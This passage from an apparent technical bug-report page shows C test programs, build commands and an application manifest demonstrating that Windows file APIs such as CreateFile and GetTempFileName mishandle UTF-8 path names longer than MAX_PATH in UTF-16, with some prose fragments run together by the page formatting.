		               UTF8FLAG(K,G) // Kyrgyzstan
		               UTF8FLAG(K,H) // Cambodia
		               UTF8FLAG(K,I) // Kiribati
		               UTF8FLAG(K,M) // Comoros
		               UTF8FLAG(K,N) // Saint Kitts and Nevis
		               UTF8FLAG(K,P) // Democratic People's Republic of (North) Korea
		               UTF8FLAG(K,R) // Republic of (South) Korea
		               UTF8FLAG(K,W) // Kuwait
		               UTF8FLAG(K,Y) // Cayman Islands
		               UTF8FLAG(K,Z) // Kazakhstan
#else // BLUNDER
		               UTF8FLAG(L,A) // Lao People's Democratic Republic
		               UTF8FLAG(L,B) // Lebanon
		               UTF8FLAG(L,C) // Saint Lucia
		               UTF8FLAG(L,I) // Liechtenstein
		               UTF8FLAG(L,K) // Sri Lanka
		               UTF8FLAG(L,R) // Liberia
		               UTF8FLAG(L,S) // Lesotho
		               UTF8FLAG(L,T) // Lithuania
		               UTF8FLAG(L,U) // Luxembourg
		               UTF8FLAG(L,V) // Latvia
		               UTF8FLAG(L,Y) // Libya
		               UTF8FLAG(M,A) // Morocco
		               UTF8FLAG(M,C) // Monaco
		               UTF8FLAG(M,D) // Republic of Moldova
		               UTF8FLAG(M,E) // Montenegro
		               UTF8FLAG(M,F) // Saint Martin (French part)
		               UTF8FLAG(M,G) // Madagascar
		               UTF8FLAG(M,H) // Marshall Islands
		               UTF8FLAG(M,K) // North Macedonia
		               UTF8FLAG(M,L) // Mali
		               UTF8FLAG(M,M) // Myanmar
		               UTF8FLAG(M,N) // Mongolia
		               UTF8FLAG(M,O) // Macao (SAR China)
		               UTF8FLAG(M,P) // Northern Mariana Islands
		               UTF8FLAG(M,Q) // Martinique
		               UTF8FLAG(M,R) // Mauritania
		               UTF8FLAG(M,S) // Montserrat
		               UTF8FLAG(M,T) // Malta
		               UTF8FLAG(M,U) // Mauritius
		               UTF8FLAG(M,V) // Maldives
		               UTF8FLAG(M,W) // Malawi
		               UTF8FLAG(M,X) // Mexico
		               UTF8FLAG(M,Y) // Malaysia
		               UTF8FLAG(M,Z) // Mozambique
		               UTF8FLAG(N,A) // Namibia
		               UTF8FLAG(N,C) // New Caledonia
		               UTF8FLAG(N,E) // Niger
		               UTF8FLAG(N,F) // Norfolk Island
		               UTF8FLAG(N,G) // Nigeria
		               UTF8FLAG(N,I) // Nicaragua
		               UTF8FLAG(N,L) // Kingdom of the Netherlands
		               UTF8FLAG(N,O) // Norway
		               UTF8FLAG(N,P) // Nepal
		               UTF8FLAG(N,R) // Nauru
		            // UTF8FLAG(N,T) // Neutral Territory
		               UTF8FLAG(N,U) // Niue
		               UTF8FLAG(N,Z) // New Zealand
		               UTF8FLAG(O,M) // Oman
		               UTF8FLAG(P,A) // Panama
		            // UTF8FLAG(P,C) // Trust Territory of the Pacific Islands
		               UTF8FLAG(P,E) // Peru
		               UTF8FLAG(P,F) // French Polynesia
		               UTF8FLAG(P,G) // Papua New Guinea
		               UTF8FLAG(P,H) // Philippines
		               UTF8FLAG(P,K) // Pakistan
		               UTF8FLAG(P,L) // Poland
		               UTF8FLAG(P,M) // Saint Pierre and Miquelon
		               UTF8FLAG(P,N) // Pitcairn, Henderson, Ducie and Oeno Islands
		               UTF8FLAG(P,R) // Puerto Rico
		               UTF8FLAG(P,S) // State of Palestine
		               UTF8FLAG(P,T) // Portugal
		               UTF8FLAG(P,W) // Palau
		               UTF8FLAG(P,Y) // Paraguay
		               UTF8FLAG(Q,A) // Qatar
		               UTF8FLAG(R,E) // Réunion
		               UTF8FLAG(R,O) // Romania
		               UTF8FLAG(R,S) // Serbia
		               UTF8FLAG(R,U) // Russian Federation
		               UTF8FLAG(R,W) // Rwanda
		               UTF8FLAG(S,A) // Saudi Arabia
		               UTF8FLAG(S,B) // Solomon Islands
		               UTF8FLAG(S,C) // Seychelles
		               UTF8FLAG(S,D) // Sudan
		               UTF8FLAG(S,E) // Sweden
		               UTF8FLAG(S,G) // Singapore
		               UTF8FLAG(S,H) // Saint Helena, Ascension and Tristan da Cunha
		               UTF8FLAG(S,I) // Slovenia
		               UTF8FLAG(S,J) // Svalbard and Jan Mayen
		               UTF8FLAG(S,K) // Slovakia
		               UTF8FLAG(S,L) // Sierra Leone
		               UTF8FLAG(S,M) // San Marino
		               UTF8FLAG(S,N) // Senegal
		               UTF8FLAG(S,O) // Somalia
		               UTF8FLAG(S,R) // Suriname
		               UTF8FLAG(S,S) // South Sudan
		               UTF8FLAG(S,T) // São Tomé and Príncipe
		            // UTF8FLAG(S,U) // Union of Soviet Socialist Republics
		               UTF8FLAG(S,V) // Republic of El Salvador
		               UTF8FLAG(S,X) // Sint Maarten (Dutch part)
		               UTF8FLAG(S,Y) // Syrian Arab Republic
		               UTF8FLAG(S,Z) // Eswatini
		            // UTF8FLAG(T,A) // Tristan da Cunha
		               UTF8FLAG(T,C) // Turks and Caicos Islands
		               UTF8FLAG(T,D) // Chad
		               UTF8FLAG(T,F) // French Southern Territories
		               UTF8FLAG(T,G) // Togo
		               UTF8FLAG(T,H) // Thailand
		               UTF8FLAG(T,J) // Tajikistan
		               UTF8FLAG(T,K) // Tokelau
		               UTF8FLAG(T,L) // Timor-Leste
		               UTF8FLAG(T,M) // Turkmenistan
		               UTF8FLAG(T,N) // Tunisia
		               UTF8FLAG(T,O) // Tonga
		            // UTF8FLAG(T,P) // East Timor
		               UTF8FLAG(T,R) // Republic of Türkiye
		               UTF8FLAG(T,T) // Trinidad and Tobago
		               UTF8FLAG(T,V) // Tuvalu
		               UTF8FLAG(T,W) // Taiwan (Province of China)
		               UTF8FLAG(T,Z) // United Republic of Tanzania
		               UTF8FLAG(U,A) // Ukraine
		               UTF8FLAG(U,G) // Uganda
		               UTF8FLAG(U,M) // United States Minor Outlying Islands
		               UTF8FLAG(U,N) // United Nations
		               UTF8FLAG(U,S) // United States of America
		               UTF8FLAG(U,Y) // Uruguay
		               UTF8FLAG(U,Z) // Uzbekistan
		               UTF8FLAG(V,A) // Holy See [Vatican City State]
		               UTF8FLAG(V,C) // Saint Vincent and Grenadines
		               UTF8FLAG(V,E) // Bolivarian Republic of Venezuela
		               UTF8FLAG(V,G) // Virgin Islands (British)
		               UTF8FLAG(V,I) // Virgin Islands (U.S.A.)
		               UTF8FLAG(V,N) // Viet Nam
		               UTF8FLAG(V,U) // Vanuatu
		               UTF8FLAG(W,F) // Wallis and Futuna
		               UTF8FLAG(W,S) // Samoa
		               UTF8FLAG(X,K) // Kosovo
		            // UTF8FLAG(Y,D) // People's Democratic Republic of Yemen
		               UTF8FLAG(Y,E) // Yemen
		               UTF8FLAG(Y,T) // Mayotte
		            // UTF8FLAG(Y,U) // Yugoslavia
		               UTF8FLAG(Z,A) // South Africa
		               UTF8FLAG(Z,M) // Zambia
		            // UTF8FLAG(Z,R) // Zaire
		               UTF8FLAG(Z,W) // Zimbabwe
#endif // BLUNDER
		               '\0'};
__declspec(noreturn)
VOID	CDECL	mainCRTStartup(VOID)
{
	DWORD	dwError = ~0UL;
	HANDLE	hBlunder;
	if ((GetACP() == CP_UTF8) && (GetOEMCP() == CP_UTF8))
		if (MultiByteToWideChar(CP_UTF8,
		                        MB_ERR_INVALID_CHARS | MB_PRECOMPOSED,
		                        szBlunder, sizeof(szBlunder),
		                        (LPWSTR) NULL, 0) == 0)
			dwError = GetLastError();
		else
		{
			hBlunder = CreateFile(szBlunder,
			                      DELETE,
			                      FILE_SHARE_DELETE,
			                      (LPSECURITY_ATTRIBUTES) NULL,
			                      CREATE_NEW,
			                      FILE_FLAG_DELETE_ON_CLOSE,
			                      (HANDLE) NULL);
			if (hBlunder == INVALID_HANDLE_VALUE)
				dwError = GetLastError();
			else
			{
				if (!WriteFile(hBlunder,
				               szBlunder,
				               sizeof(szBlunder) - sizeof(*szBlunder),
				               &dwError,
				               (LPOVERLAPPED) NULL))
					dwError = GetLastError();
				else
					if (dwError ^= sizeof(szBlunder) - sizeof(*szBlunder))
						dwError = ERROR_WRITE_FAULT;
				//	else
				//		dwError = ERROR_SUCCESS;
				if (!CloseHandle(hBlunder))
					dwError = GetLastError();
			}
		}
	ExitProcess(dwError);
}NUL both
            UTF-8
            encoded path names
            C:\🇦🇩🇦🇪🇦🇫🇦🇬🇦🇮🇦🇱🇦🇲🇦🇴🇦🇶🇦🇷🇦🇸🇦🇹🇦🇺🇦🇼🇦🇽🇦🇿🇧🇦🇧🇧🇧🇩🇧🇪🇧🇫🇧🇬🇧🇭🇧🇮🇧🇯🇧🇱🇧🇲🇧🇳🇧🇴🇧🇶🇧🇷🇧🇸🇧🇹🇧🇻🇧🇼🇧🇾🇧🇿🇨🇦🇨🇨🇨🇩🇨🇫🇨🇬🇨🇭🇨🇮🇨🇰🇨🇱🇨🇲🇨🇳🇨🇴🇨🇷🇨🇺🇨🇻🇨🇼🇨🇽🇨🇾🇨🇿🇩🇪🇩🇯🇩🇰🇩🇲🇩🇴🇩🇿🇪🇨🇪🇪🇪🇬🇪🇭🇪🇷🇪🇸🇪🇹🇪🇺🇫🇮🇫🇯🇫🇰🇫🇲🇫🇴🇫🇷🇬🇦🇬🇧🇬🇩🇬🇪🇬🇫🇬🇬🇬🇭🇬🇮🇬🇱🇬🇲🇬🇳🇬🇵🇬🇶🇬🇷🇬🇸🇬🇹🇬🇺🇬🇼🇬🇾🇭🇰🇭🇲🇭🇳🇭🇷🇭🇹🇭🇺🇮🇩🇮🇪🇮🇱🇮🇲🇮🇳🇮🇴🇮🇶🇮🇷🇮🇸🇮🇹🇯🇪🇯🇲🇯🇴🇯🇵🇰🇪🇰🇬🇰🇭🇰🇮🇰🇲🇰🇳🇰🇵🇰🇷🇰🇼🇰🇾🇰🇿
            and
            C:\🇱🇦🇱🇧🇱🇨🇱🇮🇱🇰🇱🇷🇱🇸🇱🇹🇱🇺🇱🇻🇱🇾🇲🇦🇲🇨🇲🇩🇲🇪🇲🇫🇲🇬🇲🇭🇲🇰🇲🇱🇲🇲🇲🇳🇲🇴🇲🇵🇲🇶🇲🇷🇲🇸🇲🇹🇲🇺🇲🇻🇲🇼🇲🇽🇲🇾🇲🇿🇳🇦🇳🇨🇳🇪🇳🇫🇳🇬🇳🇮🇳🇱🇳🇴🇳🇵🇳🇷🇳🇺🇳🇿🇴🇲🇵🇦🇵🇪🇵🇫🇵🇬🇵🇭🇵🇰🇵🇱🇵🇲🇵🇳🇵🇷🇵🇸🇵🇹🇵🇼🇵🇾🇶🇦🇷🇪🇷🇴🇷🇸🇷🇺🇷🇼🇸🇦🇸🇧🇸🇨🇸🇩🇸🇪🇸🇬🇸🇭🇸🇮🇸🇯🇸🇰🇸🇱🇸🇲🇸🇳🇸🇴🇸🇷🇸🇸🇸🇹🇸🇻🇸🇽🇸🇾🇸🇿🇹🇨🇹🇩🇹🇫🇹🇬🇹🇭🇹🇯🇹🇰🇹🇱🇹🇲🇹🇳🇹🇴🇹🇷🇹🇹🇹🇻🇹🇼🇹🇿🇺🇦🇺🇬🇺🇲🇺🇳🇺🇸🇺🇾🇺🇿🇻🇦🇻🇨🇻🇪🇻🇬🇻🇮🇻🇳🇻🇺🇼🇫🇼🇸🇽🇰🇾🇪🇾🇹🇿🇦🇿🇲🇿🇼
            have 256 code points – 3 code points for the root directory
            C:\, 126 pairs of code points for the
            file name of flag emoticons, and 1 code point for the terminating
            NUL.
         Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Create the text file blunder.xml with the following
            content next to the console application blunder.exe
            built in step 2.:
        
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- (C)opyright 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
    <application xmlns='urn:schemas-microsoft-com:asm.v3'>
        <windowsSettings>
            <activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
        </windowsSettings>
    </application>
    <assemblyIdentity name='Blunder' processorArchitecture='*' type='win32' version='0.8.1.5' />
    <compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
        <application>
            <supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
        </application>
    </compatibility>
    <description>Blunder Console Application</description>
</assembly>application is (at least) clumsy and error-prone!
         Embed the
            application manifest
            blunder.xml created in step 3. in the console
            application blunder.exe built in step 2:
        
MT.EXE /MANIFEST blunder.xml /OUTPUTRESOURCE:blunder.exeNote: the Manifest Tool
MT.exe
            is shipped with the Windows Software Development Kit.
        Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
 Execute the console application blunder.exe modified in
            step 4. on Windows 10 1903 or any later version
            and evaluate its exit code:
        
VER .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Microsoft Windows [Version 10.0.20348.230] 0x3 (WIN32: 3 ERROR_PATH_NOT_FOUND) -- 3 (3) Error message text: The system cannot find the path specified. CertUtil: -error command completed successfully.OUCH: the Win32 function
CreateFile()
            fails with Win32 error code 3 alias
            ERROR_PATH_NOT_FOUND
            although the root directory C:\ exists – the
            UTF-8
            encoded path name(s) of less than MAX_PATH
            code points require but more than
            MAX_PATH code units in
            Windows native
            UTF-16LE
            where code points U+10000 to U+10FFFF
            (like the Regional Indicator Symbol Letters🇦
U+1F1E6 to
            🇿
            U+1F1FF used
            for the flag emoticons) are encoded in
            surrogate pairs
            of 2 code units, i.e. they don’t fit into a
            buffer of MAX_PATH wide characters and also exceed the
            size limit of 255 wide characters for file names!
         Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Embed the
            application manifest
            blunder.xml created in step 3. in the console
            application blunder.exe built in step 6:
        
MT.EXE /MANIFEST blunder.xml /OUTPUTRESOURCE:blunder.exeNote: the Manifest Tool
MT.exe
            is shipped with the Windows Software Development Kit.
        Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
 Execute the console application blunder.exe modified in
            step 7. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x3 (WIN32: 3 ERROR_PATH_NOT_FOUND) -- 3 (3) Error message text: The system cannot find the path specified. CertUtil: -error command completed successfully.OUCH²: �
 The documentation for the Win32 function
            FindFirstFile()
            specifies:
        
Searches a directory for a file or subdirectory with a name that matches a specific name (or partial name if wildcards are used).The documentation for the Win32 function[…]
[…]HANDLE FindFirstFile( [in] LPCTSTR lpFileName, [out] LPWIN32_FIND_DATA lpFindFileData );
[out] lpFindFileDataA pointer to the WIN32_FIND_DATA structure that receives information about a found file or directory.
[…]
If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose, and the lpFindFileData parameter contains information about the first file or directory found.
If the function fails or fails to locate files from the search string in the lpFileName parameter, the return value is INVALID_HANDLE_VALUE and the contents of lpFindFileData are indeterminate. To get extended error information, call the GetLastError function.
If the function fails because no matching files can be found, the GetLastError function returns ERROR_FILE_NOT_FOUND.
FindFirstFileEx()
            specifies:
        Searches a directory for a file or subdirectory with a name and attributes that match those specified.The documentation for the[…]
[…]HANDLE FindFirstFileEx( [in] LPCTSTR lpFileName, [in] FINDEX_INFO_LEVELS fInfoLevelId, [out] LPVOID lpFindFileData, [in] FINDEX_SEARCH_OPS fSearchOp, LPVOID lpSearchFilter, [in] DWORD dwAdditionalFlags );If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose, and the lpFindFileData parameter contains information about the first file or directory found.
If the function fails or fails to locate files from the search string in the lpFileName parameter, the return value is INVALID_HANDLE_VALUE and the contents of lpFindFileData are indeterminate. To get extended error information, call the GetLastError function.
WIN32_FIND_DATA
            structure states:
        Contains information about the file that is found by the FindFirstFile, FindFirstFileEx, or FindNextFile function.OOPS: the Win32 function[…]
If a file has a long file name, the complete name appears in the cFileName member, and the 8.3 format truncated version of the name appears in the cAlternateFileName member.
FindFirstFileTransacted()
            provides its output data in this structure too!
         The documentation for the Win32 function
            GetTempFileName()
            states:
        
Creates a name for a temporary file. If a unique file name is generated, an empty file is created and the handle to it is released; otherwise, only a file name is generated.The MSDN article Use UTF-8 code pages in Windows apps states in section[…]UINT GetTempFileName( [in] LPCTSTR lpPathName, [in] LPCTSTR lpPrefixString, [in] UINT uUnique, [out] LPTSTR lpTempFileName );
[in] lpPathNameThe directory path for the file name. Applications typically specify a period (.) for the current directory or the result of the GetTempPath function. The string cannot be longer than MAX_PATH−14 characters or GetTempFileName will fail.
-A vs. -W APIs:
If the ANSI code page is configured for UTF-8, -A APIs typically operate in UTF-8. This model has the benefit of supporting existing code built with -A APIs without any code changes.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define PSAPI_VERSION	2
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <psapi.h>
// Thai, Baht
//	CP874	L"฿\\๐๑๒๓๔๕๖๗๘๙…"
// Japanese, Yen
//	CP932	L"¥\\〇一二三四五六七八九…"
// Chinese, Yuan Renminbi
//	CP936	L"元\\〇一二三四五六七八九…"
// Korean, Won
//	CP949	L"₩\\…"
// Traditional Chinese, Yuan Renminbi
//	CP950	L"元\\零一二三四五六七八九…"
// Central/Eastern Europe, Azerbaijani Manat
//	CP1250	L"₼\\…"
// Cyrillic, Russian Ruble
//	CP1251	L"₽\\ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯёђѓєѕіїјљњћќѝўџабвгдежзийклмнопрстуфхцчшщъыьэюя…"
// Western, Euro
#define CP1252	L"€\\€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ"
// Greek, Drachma
//	CP1253	L"₯\\ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩαβγδεζηθικλμνξοπρστυφχψω…"
// Turkish, Lira
//	CP1254	L"₻\\…"
// Hebrew, New Shekel
//	CP1255	L"₪\\אבגדהוזחטיךכלםמןנסעףפץצקרשת…"
// Arabic, Iranian Rial
//	CP1256	L"﷼\\٠١٢٣٤٥٦٧٨٩…"
// Baltic, Euro
//	CP1257	L"€\\…"
// Vietnamese, Dong
//	CP1258	L"₫\\空𠬠𠄩𠀧𦊚𠄼𦒹𦉱𠔭𠃩𨒒…"
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintfW(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsoleW(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID	CDECL	mainCRTStartup(VOID)
{
	WIN32_FIND_DATA	wfd;
	WCHAR	szNative[MAX_PATH];
	DWORD	dwNative = 0UL;
	DWORD	dwError;
	DWORD	dwMulti = 0UL;
#ifndef BLUNDER // single-byte character set
	CHAR	szMulti[MAX_PATH];
#else // multi- or double-byte character set
	CHAR	szMulti[MAX_PATH * (BLUNDER + 1)];
#endif
	LPSTR	lpMulti;
	BOOL	bMulti = FALSE;
	HANDLE	hMulti;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		do
		{
			szNative[dwNative++] = L'€';
			szNative[dwNative] = L'\0';
		}
		while (CreateDirectoryW(szNative, (LPSECURITY_ATTRIBUTES) NULL));
		PrintConsole(hError,
		             L"CreateDirectory() returned error %lu for pathname \'%ls\' of %lu wide characters\n",
		             dwError = GetLastError(), szNative, dwNative);
#ifndef blunder
		while (MoveFileW(L"€", szNative)
		    && CreateDirectoryW(L"€", (LPSECURITY_ATTRIBUTES) NULL))
		{
			szNative[dwNative++] = L'€';
			szNative[dwNative] = L'\0';
		}
		PrintConsole(hError,
		             L"MoveFile() returned error %lu for pathname \'%ls\' of %lu wide characters\n",
		             dwError = GetLastError(), szNative, dwNative);
#endif // blunder
		hMulti = FindFirstFile("*", &wfd);
		if (hMulti == INVALID_HANDLE_VALUE)
			PrintConsole(hError,
			             L"FindFirstFile() returned error %lu\n",
			             dwError = GetLastError());
		else
		{
			do
			{
				if (*wfd.cFileName < '€')
					PrintConsole(hError,
					             L"Find%lsFile() returned filename \'%hs\' with alternate (8.3) filename \'%hs\' and attributes 0x%08lX\n",
					             bMulti ? L"Next" : L"First", wfd.cFileName, wfd.cAlternateFileName, wfd.dwFileAttributes);
				else if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
#if 0 // BUG: with CP_UTF8 in effect, GetTempFileNameA() fails with
      //       ERROR_MORE_DATA for a directory name of more than 246 bytes
      //        and less than 247 characters after creating an empty file!
					if (GetTempFileName(wfd.cFileName, "tmp", 0U, szMulti) == 0U)
						PrintConsole(hError,
						             L"GetTempFileName() returned error %lu for pathname \'%hs\' of %lu bytes\n",
						             dwError = GetLastError(), wfd.cFileName, strlen(wfd.cFileName));
					else
						if (!DeleteFile(szMulti))
							PrintConsole(hError,
							             L"DeleteFile() returned error %lu\n",
							             dwError = GetLastError());
#else
					if (GetTempFileName(wfd.cFileName, "tmp", 0x815U, szMulti) == 0U)
						PrintConsole(hError,
						             L"GetTempFileName() returned error %lu for pathname \'%hs\' of %lu bytes\n",
						             dwError = GetLastError(), wfd.cFileName, strlen(wfd.cFileName));
#endif
				dwMulti++;
			}
			while (bMulti = FindNextFile(hMulti, &wfd));
			PrintConsole(hError,
			             L"FindNextFile() returned error %lu after %lu matches\n",
			             dwError = GetLastError(), dwMulti);
			if (!FindClose(hMulti))
				PrintConsole(hError,
				             L"FindClose() returned error %lu\n",
				             dwError = GetLastError());
		}
		if (!CreateDirectoryW(CP1252, (LPSECURITY_ATTRIBUTES) NULL))
			PrintConsole(hError,
			             L"CreateDirectory() returned error %lu for pathname \'%ls\' of %lu wide characters\n",
			             dwError = GetLastError(), CP1252, sizeof(CP1252) / sizeof(*CP1252) - 1);
		else
		{
			dwMulti = WideCharToMultiByte(CP_ACP,
			                              WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
			                              CP1252, sizeof("€\\€") - 1,
			                              szMulti, sizeof(szMulti),
			                              (LPCCH) NULL, (LPBOOL) NULL);
			if (dwMulti == 0UL)
				PrintConsole(hError,
				             L"WideCharToMultiByte() returned error %lu\n",
				             dwError = GetLastError());
			else
			{
				szMulti[dwMulti++] = '*';
				szMulti[dwMulti] = '\0';
				hMulti = FindFirstFile(szMulti, &wfd);
				if (hMulti == INVALID_HANDLE_VALUE)
					PrintConsole(hError,
					             L"FindFirstFile() returned error %lu for pathname \'%hs\' of 4 characters in %lu bytes\n",
					             dwError = GetLastError(), szMulti, dwMulti);
				else
				{
					bMulti = FALSE;
					dwMulti = 0UL;
					do
					{
						PrintConsole(hError,
						             L"Find%lsFile() returned filename \'%hs\' with alternate (8.3) filename \'%hs\' and attributes 0x%08lX\n",
						             bMulti ? L"Next" : L"First", wfd.cFileName, wfd.cAlternateFileName, wfd.dwFileAttributes);
						dwMulti++;
					}
					while (bMulti = FindNextFile(hMulti, &wfd));
					PrintConsole(hError,
					             L"FindNextFile() returned error %lu after %lu matches\n",
					             dwError = GetLastError(), dwMulti);
					if (!FindClose(hMulti))
						PrintConsole(hError,
						             L"FindClose() returned error %lu\n",
						             dwError = GetLastError());
				}
			}
#ifdef BLUNDER
			dwMulti = WideCharToMultiByte(CP_ACP,
			                              WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
			                              CP1252, sizeof(CP1252) / sizeof(*CP1252),
			                              szMulti, sizeof(szMulti),
			                              (LPCCH) NULL, (LPBOOL) NULL);
			if (dwMulti == 0UL)
				PrintConsole(hError,
				             L"WideCharToMultiByte() returned error %lu\n",
				             dwError = GetLastError());
			else
				if (GetTempFileName(szMulti, "tmp", 0x815U, szMulti) == 0U)
					PrintConsole(hError,
					             L"GetTempFileName() returned error %lu for pathname \'%hs\' of %lu bytes\n",
					             dwError = GetLastError(), szMulti, dwMulti - 1UL);
#endif // BLUNDER
			if (!SetCurrentDirectoryW(CP1252))
				PrintConsole(hError,
				             L"SetCurrentDirectory() returned error %lu for pathname \'%ls\' of %lu wide characters\n",
				             dwError = GetLastError(), CP1252, sizeof(CP1252) / sizeof(*CP1252) - 1);
			else
			{
				dwMulti = GetCurrentDirectory(sizeof(szMulti), szMulti);
				if (dwMulti == 0UL)
					PrintConsole(hError,
					             L"GetCurrentDirectory() returned error %lu for pathname \'%ls\' of %lu characters\n",
					             dwError = GetLastError(), CP1252, sizeof(CP1252) / sizeof(*CP1252) - 1);
				else if (dwMulti > sizeof(szMulti))
					PrintConsole(hError,
					             L"GetCurrentDirectory() returned value %lu for pathname \'%ls\' of %lu characters\n",
					             dwMulti, CP1252, sizeof(CP1252) / sizeof(*CP1252) - 1);
				else
				{
					PrintConsole(hError,
					             L"GetCurrentDirectory() returned pathname \'%hs\' of %lu bytes\n",
					             szMulti, dwMulti);
					dwMulti = GetShortPathName(szMulti, szMulti, sizeof(szMulti));
					if (dwMulti == 0UL)
						PrintConsole(hError,
						             L"GetShortPathName() returned error %lu for pathname \'%ls\' of %lu characters\n",
						             dwError = GetLastError(), CP1252, sizeof(CP1252) / sizeof(*CP1252) - 1);
					else if (dwMulti > sizeof(szMulti))
						PrintConsole(hError,
						             L"GetShortPathName() returned value %lu for pathname \'%ls\' of %lu characters\n",
						             dwMulti, CP1252, sizeof(CP1252) / sizeof(*CP1252) - 1);
					else
						PrintConsole(hError,
						             L"GetShortPathName() returned pathname \'%hs\' of %lu bytes\n",
						             szMulti, dwMulti);
					dwMulti = GetLongPathName(szMulti, szMulti, sizeof(szMulti));
					if (dwMulti == 0UL)
						PrintConsole(hError,
						             L"GetLongPathName() returned error %lu for pathname \'%ls\' of %lu characters\n",
						             dwError = GetLastError(), CP1252, sizeof(CP1252) / sizeof(*CP1252) - 1);
					else if (dwMulti > sizeof(szMulti))
						PrintConsole(hError,
						             L"GetLongPathName() returned value %lu for pathname \'%ls\' of %lu characters\n",
						             dwMulti, CP1252, sizeof(CP1252) / sizeof(*CP1252) - 1);
					else
						PrintConsole(hError,
						             L"GetLongPathName() returned pathname \'%hs\' of %lu bytes\n",
						             szMulti, dwMulti);
				}
				dwMulti = GetFullPathName(".", sizeof(szMulti), szMulti, &lpMulti);
				if (dwMulti == 0UL)
					PrintConsole(hError,
					             L"GetFullPathName() returned error %lu for pathname \'%ls\' of %lu characters\n",
					             dwError = GetLastError(), CP1252, sizeof(CP1252) / sizeof(*CP1252) - 1);
				else if (dwMulti > sizeof(szMulti))
					PrintConsole(hError,
					             L"GetFullPathName() returned value %lu for pathname \'%ls\' of %lu characters\n",
					             dwMulti, CP1252, sizeof(CP1252) / sizeof(*CP1252) - 1);
				else
					PrintConsole(hError,
					             L"GetFullPathName() returned pathname \'%hs\' of %lu %bytes\n",
					             szMulti, dwMulti);
				if (!SetCurrentDirectoryW(L"..\\.."))
					PrintConsole(hError,
					             L"SetCurrentDirectory() returned error %lu\n",
					             dwError = GetLastError());
			}
			if (!RemoveDirectoryW(CP1252))
				PrintConsole(hError,
				             L"RemoveDirectory() returned error %lu\n",
				             dwError = GetLastError());
			else
				if (!MoveFileW(L"blunder.exe", CP1252))
					PrintConsole(hError,
					             L"MoveFile() returned error %lu\n",
					             dwError = GetLastError());
				else
				{
					hMulti = GetCurrentProcess();
					dwMulti = GetMappedFileName(hMulti,
					                            mainCRTStartup,
					                            szMulti, sizeof(szMulti));
					if (dwMulti == 0UL)
						PrintConsole(hError,
						             L"GetMappedFileName() returned error %lu for pathname \'%ls\' of %lu characters\n",
						             dwError = GetLastError(), CP1252, sizeof(CP1252) / sizeof(*CP1252) - 1);
					else if (dwMulti > sizeof(szMulti))
						PrintConsole(hError,
						             L"GetMappedFileName() returned value %lu for pathname \'%ls\' of %lu characters\n",
						             dwMulti, CP1252, sizeof(CP1252) / sizeof(*CP1252) - 1);
					else
						PrintConsole(hError,
						             L"GetMappedFileName() returned pathname \'%hs\' of %lu characters\n",
